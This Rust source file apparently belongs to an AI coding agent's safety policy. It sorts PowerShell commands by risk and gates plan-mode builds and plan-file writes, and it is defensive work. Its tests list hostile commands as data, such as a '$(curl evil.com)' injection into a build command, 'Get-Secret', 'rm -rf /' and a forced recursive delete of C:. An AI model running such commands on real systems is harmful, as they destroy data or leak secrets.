use std::path::Path;
use super::super::RiskClass;
use super::classify::{classify_head, shell_max};
use super::destructive::contains_destructive_pattern;
use super::lexer::{basename, read_line};
use crate::policy::plan_gate;
const REGION_MARK: char = '\u{FFFC}';
const PS_MAX_DEPTH: u8 = 6;
const PS_KEYWORDS: &[&str] = &[
"if", "elseif", "else", "foreach", "for", "while", "do", "switch", "try", "catch", "finally",
"return", "break", "continue", "param", "begin", "process", "end", "in", "exit", "throw",
"function", "filter",
];
const PS_PIPELINE_CMDLETS: &[&str] = &[
"select-object",
"select",
"where-object",
"where",
"?",
"foreach-object",
"%",
"sort-object",
"measure-object",
"measure",
"group-object",
"group",
"format-table",
"ft",
"format-list",
"fl",
"format-wide",
"fw",
"format-custom",
"format-hex",
"out-host",
"oh",
"measure-command",
];
const PS_BENIGN_METHODS: &[&str] = &[
"replace",
"trim",
"trimstart",
"trimend",
"split",
"join",
"substring",
"tostring",
"tolower",
"toupper",
"tolowerinvariant",
"toupperinvariant",
"contains",
"startswith",
"endswith",
"indexof",
"lastindexof",
"padleft",
"padright",
"insert",
"remove",
"normalize",
"equals",
"compareto",
"gettype",
"getenumerator",
"where",
"foreach",
];
const PS_PURE_STATIC_TYPES: &[&str] = &[
"math",
"string",
"char",
"int",
"int16",
"int32",
"int64",
"long",
"double",
"decimal",
"single",
"float",
"bool",
"boolean",
"byte",
"sbyte",
"uint",
"uint16",
"uint32",
"uint64",
"datetime",
"timespan",
"datetimeoffset",
"guid",
"convert",
"regex",
"uri",
"version",
"array",
"enum",
"encoding",
"path",
];
pub(in crate::policy) fn classify_powershell_command(command: &str) -> RiskClass {
if contains_destructive_pattern(command) {
return RiskClass::Destructive;
}
ps_pipeline_risk(command, 0)
}
fn ps_pipeline_risk(text: &str, depth: u8) -> RiskClass {
if depth > PS_MAX_DEPTH {
return RiskClass::ShellMutation;
}
let chars: Vec<char> = text.chars().collect();
let mut worst = RiskClass::ReadOnly;
let mut stmt = String::new();
let mut i = 0usize;
while i < chars.len() {
let c = chars[i];
match c {
'`' => {
stmt.push(c);
if let Some(&n) = chars.get(i + 1) {
stmt.push(n);
i += 1;
}
i += 1;
},
'@' if here_string_opens(&chars, i) => {
let Some((risk, end)) = here_string_risk(&chars, i, depth) else {
return RiskClass::ShellMutation;
};
worst = shell_max(worst, risk);
stmt.push(REGION_MARK);
i = end;
},
'\'' | '"' => {
let Some(end) = skip_string(&chars, i, c) else {
return RiskClass::ShellMutation;
};
stmt.extend(chars[i..end].iter());
i = end;
},
'<' if chars.get(i + 1) == Some(&'#') => {
i = skip_block_comment(&chars, i);
stmt.push(' ');
},
'#' if stmt.chars().last().is_none_or(char::is_whitespace) => {
while i < chars.len() && chars[i] != '\n' {
i += 1;
}
},
'(' | '{' => {
let Some((risk, end)) = region_risk(&chars, i, c, &stmt, depth) else {
return RiskClass::ShellMutation;
};
worst = shell_max(worst, risk);
stmt.push(REGION_MARK);
i = end;
},
')' | '}' => return RiskClass::ShellMutation,
';' | '\n' => {
worst = shell_max(worst, flush_statement(&mut stmt, depth));
i += 1;
},
'|' => {
worst = shell_max(worst, flush_statement(&mut stmt, depth));
i += 1;
if chars.get(i) == Some(&'|') {
i += 1;
}
},
'&' if chars.get(i + 1) == Some(&'&') => {
worst = shell_max(worst, flush_statement(&mut stmt, depth));
i += 2;
},
_ => {
stmt.push(c);
i += 1;
},
}
}
shell_max(worst, flush_statement(&mut stmt, depth))
}
fn flush_statement(stmt: &mut String, depth: u8) -> RiskClass {
let risk = if stmt.trim().is_empty() {
RiskClass::ReadOnly
} else {
ps_flat_statement_risk(stmt.trim(), depth)
};
stmt.clear();
risk
}
fn here_string_risk(chars: &[char], i: usize, depth: u8) -> Option<(RiskClass, usize)> {
let quote = chars[i + 1];
let (body, end) = scan_here_string(chars, i, quote)?;
let mut risk = RiskClass::ReadOnly;
if quote == '"' {
for sub in dollar_subexpressions(&body) {
risk = shell_max(risk, ps_pipeline_risk(&sub, depth + 1));
}
}
Some((risk, end))
}
fn region_risk(
chars: &[char],
i: usize,
opener: char,
stmt: &str,
depth: u8,
) -> Option<(RiskClass, usize)> {
let closer = if opener == '(' { ')' } else { '}' };
let close = find_matching(chars, i, opener, closer)?;
let inner: String = chars[i + 1..close].iter().collect();
let mut risk = ps_pipeline_risk(&inner, depth + 1);
if opener == '('
&& let Some(method) = method_name_before(stmt)
&& !PS_BENIGN_METHODS.contains(&method.to_ascii_lowercase().as_str())
{
risk = shell_max(risk, RiskClass::ShellMutation);
}
Some((risk, close + 1))
}
fn ps_flat_statement_risk(stmt: &str, depth: u8) -> RiskClass {
if let Some(rhs) = split_assignment(stmt) {
let rhs = rhs.trim().to_string();
if rhs.is_empty() {
return RiskClass::ReadOnly;
}
return ps_flat_statement_risk(&rhs, depth);
}
let tokens = ps_tokens(stmt);
let mut worst = RiskClass::ReadOnly;
for (i, tok) in tokens.iter().enumerate() {
if tok.quoted && tok.text.find('>').is_none() {
continue;
}
let t = tok.text.as_str();
if !tok.quoted && t == "--%" {
break;
}
if !tok.quoted && t.starts_with('&') {
worst = shell_max(worst, RiskClass::ShellMutation);
}
if !tok.quoted && t.contains("::") && !static_access_is_pure(t) {
worst = shell_max(worst, RiskClass::ShellMutation);
}
if let Some(target) = ps_redirect_in_raw(&tok.raw) {
let discards = match target {
RedirectTarget::Merge => true,
RedirectTarget::Glued(text, quoted) => {
!quoted && text.eq_ignore_ascii_case("$null")
},
RedirectTarget::NextToken => tokens
.get(i + 1)
.is_some_and(|n| !n.quoted && n.text.eq_ignore_ascii_case("$null")),
};
if !discards {
worst = shell_max(worst, RiskClass::ShellMutation);
}
}
}
shell_max(worst, ps_head_risk(&tokens, depth))
}
fn ps_head_risk(tokens: &[PsToken], depth: u8) -> RiskClass {
let mut idx = 0;
let mut skip_name = false;
while idx < tokens.len() {
let tok = &tokens[idx];
if tok.quoted {
return RiskClass::ReadOnly;
}
if skip_name {
skip_name = false;
idx += 1;
continue;
}
let t = tok.text.as_str();
let lower = t.to_ascii_lowercase();
if PS_KEYWORDS.contains(&lower.as_str()) {
skip_name = matches!(lower.as_str(), "function" | "filter");
idx += 1;
continue;
}
if t.starts_with('$')
&& tokens
.get(idx + 1)
.is_some_and(|n| !n.quoted && n.text.eq_ignore_ascii_case("in"))
{
let tail = tokens[idx + 2..]
.iter()
.map(|t| t.raw.as_str())
.collect::<Vec<_>>()
.join(" ");
if tail.trim().is_empty() {
return RiskClass::ReadOnly;
}
return ps_flat_statement_risk(&tail, depth);
}
if t == "." {
return RiskClass::ShellMutation;
}
if is_expression_start(t) {
return RiskClass::ReadOnly;
}
let head = basename(&lower);
let head = head.strip_suffix(".exe").unwrap_or(head);
if PS_PIPELINE_CMDLETS.contains(&head) {
return RiskClass::ReadOnly;
}
let seg: Vec<String> = tokens[idx..].iter().map(|t| t.text.clone()).collect();
return classify_head(head, &seg);
}
RiskClass::ReadOnly
}
fn is_expression_start(t: &str) -> bool {
t.chars().next().is_some_and(|c| {
c == REGION_MARK || matches!(c, '$' | '@' | '[' | '-' | '+' | '!') || c.is_ascii_digit()
})
}
struct PsToken {
raw: String,
text: String,
quoted: bool,
}
fn ps_tokens(stmt: &str) -> Vec<PsToken> {
let chars: Vec<char> = stmt.chars().collect();
let mut out = Vec::new();
let mut raw = String::new();
let mut text = String::new();
let mut quoted = false;
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if c.is_whitespace() {
push_token(&mut out, &mut raw, &mut text, &mut quoted);
i += 1;
continue;
}
match c {
'`' => {
raw.push(c);
if let Some(&n) = chars.get(i + 1) {
raw.push(n);
text.push(n);
i += 1;
}
i += 1;
},
'\'' | '"' => {
quoted = true;
raw.push(c);
let mut j = i + 1;
while j < chars.len() {
let d = chars[j];
raw.push(d);
if d == '`' && c == '"' {
if let Some(&n) = chars.get(j + 1) {
raw.push(n);
text.push(n);
j += 1;
}
j += 1;
continue;
}
if d == c {
if chars.get(j + 1) == Some(&c) {
raw.push(c);
text.push(c);
j += 2;
continue;
}
j += 1;
break;
}
text.push(d);
j += 1;
}
i = j;
},
_ => {
raw.push(c);
text.push(c);
i += 1;
},
}
}
push_token(&mut out, &mut raw, &mut text, &mut quoted);
out
}
fn push_token(out: &mut Vec<PsToken>, raw: &mut String, text: &mut String, quoted: &mut bool) {
if !raw.is_empty() {
out.push(PsToken {
raw: std::mem::take(raw),
text: std::mem::take(text),
quoted: *quoted,
});
}
*quoted = false;
}
enum RedirectTarget {
Merge,
Glued(String, bool),
NextToken,
}
fn ps_redirect_in_raw(raw: &str) -> Option<RedirectTarget> {
let chars: Vec<char> = raw.chars().collect();
let mut i = 0;
while i < chars.len() {
match chars[i] {
'`' => i += 2,
c @ ('\'' | '"') => {
i = skip_string(&chars, i, c).unwrap_or(chars.len());
},
'>' => {
let mut j = i + 1;
if chars.get(j) == Some(&'>') {
j += 1;
}
if chars.get(j) == Some(&'&') {
return Some(RedirectTarget::Merge);
}
if j >= chars.len() {
return Some(RedirectTarget::NextToken);
}
let rest: String = chars[j..].iter().collect();
let quoted = rest.starts_with('\'') || rest.starts_with('"');
let stripped = rest.trim_matches(['\'', '"']).to_string();
return Some(RedirectTarget::Glued(stripped, quoted));
},
_ => i += 1,
}
}
None
}
fn split_assignment(stmt: &str) -> Option<String> {
let chars: Vec<char> = stmt.chars().collect();
let mut i = 0;
while i < chars.len() {
match chars[i] {
'`' => i += 2,
c @ ('\'' | '"') => i = skip_string(&chars, i, c)?,
'=' => {
if chars.get(i + 1) == Some(&'=') {
i += 2;
continue;
}
if i > 0 && matches!(chars[i - 1], '!' | '<' | '>') {
i += 1;
continue;
}
let lhs_end = if i > 0 && matches!(chars[i - 1], '+' | '-' | '*' | '/' | '%') {
i - 1
} else {
i
};
let lhs: String = chars[..lhs_end].iter().collect();
let lhs = lhs.trim();
let plain_key = !lhs.is_empty()
&& lhs
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, '_' | '.' | ':'));
let ok = lhs.starts_with('$')
|| lhs.starts_with(REGION_MARK)
|| lhs.starts_with('\'')
|| lhs.starts_with('"')
|| plain_key;
if !ok {
return None;
}
return Some(chars[i + 1..].iter().collect());
},
_ => i += 1,
}
}
None
}
fn static_access_is_pure(token: &str) -> bool {
let lower = token.to_ascii_lowercase();
let Some(rest) = lower.strip_prefix('[') else {
return false;
};
let Some((ty, after)) = rest.split_once(']') else {
return false;
};
if !after.starts_with("::") {
return false;
}
let ty = ty.strip_prefix("system.").unwrap_or(ty);
let ty = ty.rsplit('.').next().unwrap_or(ty);
PS_PURE_STATIC_TYPES.contains(&ty)
}
fn method_name_before(stmt: &str) -> Option<String> {
let mut rev = stmt.chars().rev().peekable();
let mut name = String::new();
while let Some(&c) = rev.peek() {
if c.is_ascii_alphanumeric() || c == '_' {
name.push(c);
rev.next();
} else {
break;
}
}
if name.is_empty() || rev.peek() != Some(&'.') {
return None;
}
Some(name.chars().rev().collect())
}
fn skip_string(chars: &[char], i: usize, quote: char) -> Option<usize> {
let mut j = i + 1;
while j < chars.len() {
let c = chars[j];
if c == '`' && quote == '"' {
j += 2;
continue;
}
if c == quote {
if chars.get(j + 1) == Some("e) {
j += 2;
continue;
}
return Some(j + 1);
}
j += 1;
}
None
}
fn here_string_opens(chars: &[char], i: usize) -> bool {
if chars.get(i) != Some(&'@') {
return false;
}
let Some(&q) = chars.get(i + 1) else {
return false;
};
if q != '\'' && q != '"' {
return false;
}
chars[i + 2..]
.iter()
.take_while(|c| **c != '\n')
.all(|c| c.is_whitespace())
}
fn scan_here_string(chars: &[char], i: usize, quote: char) -> Option<(String, usize)> {
let mut j = i + 2;
while j < chars.len() && chars[j] != '\n' {
j += 1;
}
if j >= chars.len() {
return None;
}
j += 1;
let mut body = String::new();
while j < chars.len() {
let (line, next) = read_line(chars, j);
let trimmed = line.trim_start();
let mut it = trimmed.chars();
if it.next() == Some(quote) && it.next() == Some('@') {
let offset = line.chars().count() - trimmed.chars().count();
return Some((body, j + offset + 2));
}
body.push_str(&line);
body.push('\n');
j = next;
}
None
}
fn skip_block_comment(chars: &[char], i: usize) -> usize {
let mut j = i + 2;
while j < chars.len() {
if chars[j] == '#' && chars.get(j + 1) == Some(&'>') {
return j + 2;
}
j += 1;
}
chars.len()
}
fn find_matching(chars: &[char], open: usize, opener: char, closer: char) -> Option<usize> {
let mut depth = 1u32;
let mut j = open + 1;
while j < chars.len() {
let c = chars[j];
if c == '`' {
j += 2;
continue;
}
if here_string_opens(chars, j) {
let quote = chars[j + 1];
let (_, end) = scan_here_string(chars, j, quote)?;
j = end;
continue;
}
if c == '\'' || c == '"' {
j = skip_string(chars, j, c)?;
continue;
}
if c == '<' && chars.get(j + 1) == Some(&'#') {
j = skip_block_comment(chars, j);
continue;
}
if c == '#' && chars[j - 1].is_whitespace() {
while j < chars.len() && chars[j] != '\n' {
j += 1;
}
continue;
}
if c == opener {
depth += 1;
} else if c == closer {
depth -= 1;
if depth == 0 {
return Some(j);
}
}
j += 1;
}
None
}
fn dollar_subexpressions(body: &str) -> Vec<String> {
let chars: Vec<char> = body.chars().collect();
let mut out = Vec::new();
let mut i = 0;
while i < chars.len() {
match chars[i] {
'`' => i += 2,
'$' if chars.get(i + 1) == Some(&'(') => {
let mut depth = 1u32;
let mut j = i + 2;
while j < chars.len() {
match chars[j] {
'(' => depth += 1,
')' => {
depth -= 1;
if depth == 0 {
break;
}
},
_ => {},
}
j += 1;
}
out.push(chars[i + 2..j.min(chars.len())].iter().collect());
i = j + 1;
},
_ => i += 1,
}
}
out
}
fn flat_statements(text: &str) -> Option<Vec<String>> {
let chars: Vec<char> = text.chars().collect();
let mut out = Vec::new();
let mut stmt = String::new();
let mut i = 0usize;
let flush = |stmt: &mut String, out: &mut Vec<String>| {
let s = stmt.trim();
if !s.is_empty() {
out.push(s.to_string());
}
stmt.clear();
};
while i < chars.len() {
let c = chars[i];
match c {
'`' => {
stmt.push(c);
if let Some(&n) = chars.get(i + 1) {
stmt.push(n);
i += 1;
}
i += 1;
},
'@' if here_string_opens(&chars, i) => return None,
'\'' | '"' => {
let end = skip_string(&chars, i, c)?;
stmt.extend(chars[i..end].iter());
i = end;
},
'<' if chars.get(i + 1) == Some(&'#') => {
i = skip_block_comment(&chars, i);
stmt.push(' ');
},
'#' if stmt.chars().last().is_none_or(char::is_whitespace) => {
while i < chars.len() && chars[i] != '\n' {
i += 1;
}
},
'(' | '{' | ')' | '}' => return None,
';' | '\n' => {
flush(&mut stmt, &mut out);
i += 1;
},
'|' => {
flush(&mut stmt, &mut out);
i += 1;
if chars.get(i) == Some(&'|') {
i += 1;
}
},
'&' if chars.get(i + 1) == Some(&'&') => {
flush(&mut stmt, &mut out);
i += 2;
},
_ => {
stmt.push(c);
i += 1;
},
}
}
flush(&mut stmt, &mut out);
Some(out)
}
fn has_carve_out_poison(tokens: &[PsToken]) -> bool {
tokens.iter().any(|t| {
if t.quoted {
return false;
}
let lower = t.text.to_ascii_lowercase();
let head = basename(&lower);
t.text.starts_with('&')
|| t.text.contains("::")
|| t.text == "--%"
|| matches!(head, "tee" | "tee-object" | "dd" | "out-file")
})
}
fn has_cwd_change(tokens: &[PsToken]) -> bool {
tokens.iter().any(|t| {
if t.quoted {
return false;
}
let lower = t.text.to_ascii_lowercase();
let head = basename(&lower);
plan_gate::CWD_CHANGING_BUILTINS.contains(&head)
})
}
pub(in crate::policy) fn is_plan_safe_build_command_ps(command: &str) -> bool {
let Some(stmts) = flat_statements(command) else {
return false;
};
if stmts.is_empty() {
return false;
}
stmts.iter().all(|stmt| {
let tokens = ps_tokens(stmt);
if has_carve_out_poison(&tokens) {
return false;
}
let writes_file = tokens.iter().any(|t| {
matches!(
ps_redirect_in_raw(&t.raw),
Some(RedirectTarget::NextToken | RedirectTarget::Glued(..))
) && !redirect_discards(&tokens, t)
});
if writes_file {
return false;
}
let risk = ps_head_risk(&tokens, 0);
if risk == RiskClass::ReadOnly {
return true;
}
if risk != RiskClass::Process {
return false;
}
let texts: Vec<String> = tokens.iter().map(|t| t.text.clone()).collect();
plan_gate::segment_is_safe_build(&texts)
})
}
fn redirect_discards(tokens: &[PsToken], tok: &PsToken) -> bool {
match ps_redirect_in_raw(&tok.raw) {
Some(RedirectTarget::Glued(target, quoted)) => {
!quoted && target.eq_ignore_ascii_case("$null")
},
Some(RedirectTarget::NextToken) => {
let idx = tokens
.iter()
.position(|t| std::ptr::eq(t, tok))
.unwrap_or(usize::MAX);
tokens
.get(idx.wrapping_add(1))
.is_some_and(|n| !n.quoted && n.text.eq_ignore_ascii_case("$null"))
},
Some(RedirectTarget::Merge) | None => false,
}
}
pub(in crate::policy) fn is_plan_file_only_write_ps(
command: &str,
workdir: &Path,
plan_file: &Path,
) -> bool {
let Some(stmts) = flat_statements(command) else {
return false;
};
let mut saw_plan_redirect = false;
for stmt in &stmts {
let tokens = ps_tokens(stmt);
if has_carve_out_poison(&tokens) || has_cwd_change(&tokens) {
return false;
}
let mut kept: Vec<String> = Vec::with_capacity(tokens.len());
let mut skip_next = false;
for (i, tok) in tokens.iter().enumerate() {
if skip_next {
skip_next = false;
continue;
}
let Some(target) = ps_redirect_in_raw(&tok.raw) else {
kept.push(tok.raw.clone());
continue;
};
let prefix: String = tok.raw.chars().take_while(|c| *c != '>').collect();
if !(prefix.is_empty() || prefix == "*" || prefix.chars().all(|c| c.is_ascii_digit())) {
return false;
}
let target_text = match target {
RedirectTarget::Merge => {
kept.push(tok.raw.clone());
continue;
},
RedirectTarget::Glued(text, _) => text,
RedirectTarget::NextToken => match tokens.get(i + 1) {
Some(n) => {
skip_next = true;
n.text.clone()
},
None => return false,
},
};
if target_text.eq_ignore_ascii_case("$null") {
continue;
}
if plan_gate::is_plan_file_path(workdir, &target_text, plan_file) {
saw_plan_redirect = true;
continue;
}
return false;
}
let residue = kept.join(" ");
if !residue.trim().is_empty()
&& ps_flat_statement_risk(residue.trim(), 0) != RiskClass::ReadOnly
{
return false;
}
}
saw_plan_redirect
}
#[cfg(test)]
mod tests {
use super::*;
fn classify(cmd: &str) -> RiskClass {
classify_powershell_command(cmd)
}
#[test]
fn observed_exploration_pipeline_is_read_only() {
let cmd = "Get-ChildItem -Recurse -File | Select-Object -First 100 | \
ForEach-Object { $_.FullName.Replace((Get-Location).Path + '\\','') } ; \
Write-Host \"---\"; \
if (Test-Path \"pyproject.toml\") { Get-Content pyproject.toml | head -100 } ; \
if (Test-Path \"requirements.txt\") { Get-Content requirements.txt } ; \
if (Test-Path \"package.json\") { Get-Content package.json }";
assert_eq!(classify(cmd), RiskClass::ReadOnly);
}
#[test]
fn pipeline_shapers_and_aliases_are_read_only() {
for cmd in [
"Get-ChildItem | Select-Object -First 5",
"gci | ? { $_.Length -gt 5 } | select Name -First 3 | sort Name | measure",
"1..10 | % { $_ * 2 }",
"Get-Process | Sort-Object CPU -Descending | Format-Table -AutoSize",
"Get-Content x.txt | Measure-Object -Line",
"Get-ChildItem | Group-Object Extension",
"Where-Object FullName -match 'src'",
"GET-CHILDITEM | SELECT-OBJECT -FIRST 3",
"foreach ($f in Get-ChildItem) { $f.Name }",
"if (Test-Path 'x') { Get-Content 'x' } else { Write-Output 'missing' }",
"try { Get-Content x } catch { Write-Host $_ }",
"$x = Get-ChildItem; $x | Measure-Object",
"$env:FOO = 'bar'; Get-ChildItem",
"[math]::Round(1.5)",
"$_.FullName.Replace('a','b')",
"Get-Content x > $null",
"Get-Content x 2>$null",
"Get-Content x 2>&1",
"git status",
"ls | head -5",
"<# a note #> Get-Date",
"Get-Content x # trailing comment",
] {
assert_eq!(
classify(cmd),
RiskClass::ReadOnly,
"expected ReadOnly: {cmd}"
);
}
}
#[test]
fn mutations_inside_recursed_regions_still_refuse() {
for cmd in [
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
"gci | % { Set-Content $_ 'x' }",
"Select-Object @{n='x';e={ Set-Content f 1 }}",
"if (Test-Path x) { New-Item y }",
"foreach ($f in Remove-Item x) { $f }",
"$x = Remove-Item f",
"1..3 | ForEach-Object { mkdir \"d$_\" }",
"try { Remove-Item x } catch { Write-Host 'oops' }",
] {
assert_ne!(
classify(cmd),
RiskClass::ReadOnly,
"must not be ReadOnly: {cmd}"
);
}
}
#[test]
fn writes_and_launchers_classify_at_least_mutation() {
for cmd in [
"Set-Content f 'x'",
"Out-File -FilePath f -InputObject 'x'",
"Add-Content f 'x'",
"New-Item -ItemType Directory d",
"Move-Item a b",
"Copy-Item a b",
"Get-Content x > out.txt",
"Get-Content x *> out.txt",
"Get-Content x 2> err.txt",
"echo hi>f.txt",
"Get-Content x > '$null'",
"Get-Content x >",
"Tee-Object -FilePath f",
"& $someCommand",
"& 'C:\\tools\\thing.exe'",
". .\\profile.ps1",
"[IO.File]::Delete('x')",
"[System.Diagnostics.Process]::Start('calc')",
"$p.Kill()",
"$f.Delete()",
"touch f",
] {
assert_ne!(
classify(cmd),
RiskClass::ReadOnly,
"must not be ReadOnly: {cmd}"
);
}
}
#[test]
fn network_and_process_heads_keep_their_class() {
assert_eq!(classify("Invoke-WebRequest https://x"), RiskClass::Network);
assert_eq!(classify("iwr https://x"), RiskClass::Network);
assert_eq!(classify("git push origin main"), RiskClass::Network);
assert_eq!(classify("Start-Process notepad"), RiskClass::Process);
assert_eq!(classify("Invoke-Expression $p"), RiskClass::Process);
assert_eq!(classify("cargo test"), RiskClass::Process);
assert_eq!(
classify("ForEach-Object { Invoke-WebRequest $_ }"),
RiskClass::Network
);
}
#[test]
fn destructive_patterns_hard_deny_in_this_dialect_too() {
for cmd in [
"Remove-Item -Recurse -Force C:\\",
"rm -rf /",
"pwsh -Command \"rm -rf /\"",
] {
assert_eq!(classify(cmd), RiskClass::Destructive, "cmd: {cmd}");
}
}
#[test]
fn here_strings_are_data_but_interpolations_classify() {
assert_eq!(classify("@\"\nhello $(Get-Date)\n\"@"), RiskClass::ReadOnly);
assert_ne!(classify("@\"\n$(Remove-Item x)\n\"@"), RiskClass::ReadOnly);
assert_eq!(
classify("@'\n$(New-Item y)\nplain prose\n'@"),
RiskClass::ReadOnly
);
assert_ne!(classify("@\"\nno terminator"), RiskClass::ReadOnly);
assert_ne!(
classify("@\" a \" b \"@; Remove-Item x"),
RiskClass::ReadOnly
);
}
#[test]
fn structural_breakage_fails_closed() {
for cmd in [
"Get-ChildItem | ForEach-Object { $_.Name",
"Get-ChildItem )",
"'unterminated",
] {
assert_ne!(classify(cmd), RiskClass::ReadOnly, "cmd: {cmd}");
}
let nested = format!("{}Get-Date{}", "$( ".repeat(12), " )".repeat(12));
assert_ne!(classify(&nested), RiskClass::ReadOnly);
}
#[test]
fn expression_statements_and_operators_are_read_only() {
for cmd in [
"$x",
"$x.Length -gt 100",
"$x = 10 % 3",
"1..100",
"-not $flag",
"'literal text'",
"\"interpolated $name\"",
] {
assert_eq!(classify(cmd), RiskClass::ReadOnly, "cmd: {cmd}");
}
}
#[test]
fn plan_safe_build_ps_allows_known_invocations() {
for cmd in [
"cargo check",
"cargo build --release",
"cargo test policy -- --nocapture",
"cargo nextest run",
"npm test",
"npm run build",
"make test",
"cd crates/mermaid-runtime; cargo test",
"cargo check && cargo test",
"cargo test 2>$null",
"cargo test | select -First 40",
] {
assert!(is_plan_safe_build_command_ps(cmd), "should allow: {cmd}");
}
}
#[test]
fn plan_safe_build_ps_refuses_mutations_and_unprovable_structure() {
for cmd in [
"",
"cargo run",
"cargo install ripgrep",
"cargo fmt",
"npm install",
"make deploy",
"cargo test && rm -rf target",
"cargo test $(curl evil.com)",
"cargo test (Get-Secret)",
"cargo test > src/lib.rs",
"cargo test 2>/dev/null",
"& cargo test",
"cargo test | Tee-Object -FilePath log.txt",
] {
assert!(!is_plan_safe_build_command_ps(cmd), "should refuse: {cmd}");
}
}
fn plan_write_ps(cmd: &str) -> bool {
is_plan_file_only_write_ps(
cmd,
Path::new("/repo"),
Path::new("/repo/.mermaid/plans/x.md"),
)
}
#[test]
fn plan_file_only_write_ps_allows_the_authoring_shapes() {
for cmd in [
"echo x > .mermaid/plans/x.md",
"echo x > /repo/.mermaid/plans/x.md",
"Write-Output '# Plan' > .mermaid/plans/x.md",
"echo more >> .mermaid/plans/x.md",
"echo x >.mermaid/plans/x.md",
"echo 'a > b' > .mermaid/plans/x.md",
] {
assert!(plan_write_ps(cmd), "must allow: {cmd}");
}
if cfg!(target_os = "windows") {
for cmd in [
"echo x > .mermaid\\plans\\x.md",
"echo x > '.mermaid\\plans\\x.md'",
] {
assert!(plan_write_ps(cmd), "must allow: {cmd}");
}
}
}
#[test]
fn plan_file_only_write_ps_refuses_everything_else() {
for cmd in [
"echo x > src/main.rs",
"echo x > other.md",
"echo x > $PLAN",
"echo x > .mermaid/plans/../../src/main.rs",
"echo x > .mermaid/plans/x.md; git push",
"echo x > .mermaid/plans/x.md && Remove-Item src -Recurse",
"Set-Location /tmp; echo x > .mermaid/plans/x.md",
"sl /tmp; echo x > .mermaid/plans/x.md",
"echo $(Get-Date) > .mermaid/plans/x.md",
"@\"\nbody\n\"@ > .mermaid/plans/x.md",
"tee .mermaid/plans/x.md",
"Out-File .mermaid/plans/x.md",
"& echo x > .mermaid/plans/x.md",
"echo hi>.mermaid/plans/x.md && git push",
"Get-Content src/main.rs",
"",
] {
assert!(!plan_write_ps(cmd), "must refuse: {cmd}");
}
}
#[test]
fn stop_parsing_token_cannot_hide_a_write_behind_a_read_only_head() {
assert_eq!(
classify("Write-Output hello --% > out.txt"),
RiskClass::ReadOnly
);
for cmd in [
"cmd /c echo hi --% > out.txt",
"sh -c 'echo hi' --% > out.txt",
"pwsh -c echo --% > out.txt",
] {
assert_ne!(classify(cmd), RiskClass::ReadOnly, "cmd: {cmd}");
}
}
#[test]
fn null_device_matrix() {
assert_eq!(classify("Get-Content x > $null"), RiskClass::ReadOnly);
assert_eq!(classify("Get-Content x >> $null"), RiskClass::ReadOnly);
assert_eq!(classify("Get-Content x *> $null"), RiskClass::ReadOnly);
assert_eq!(classify("Get-Content x | Out-Null"), RiskClass::ReadOnly);
assert_ne!(classify("Get-Content x > null.txt"), RiskClass::ReadOnly);
assert_ne!(classify("Get-Content x > \"$null\""), RiskClass::ReadOnly);
for cmd in [
"Get-Content x 2>/dev/null",
"Get-Content x >/dev/null",
"Get-Content x &>/dev/null",
] {
assert_ne!(classify(cmd), RiskClass::ReadOnly, "cmd: {cmd}");
}
}
}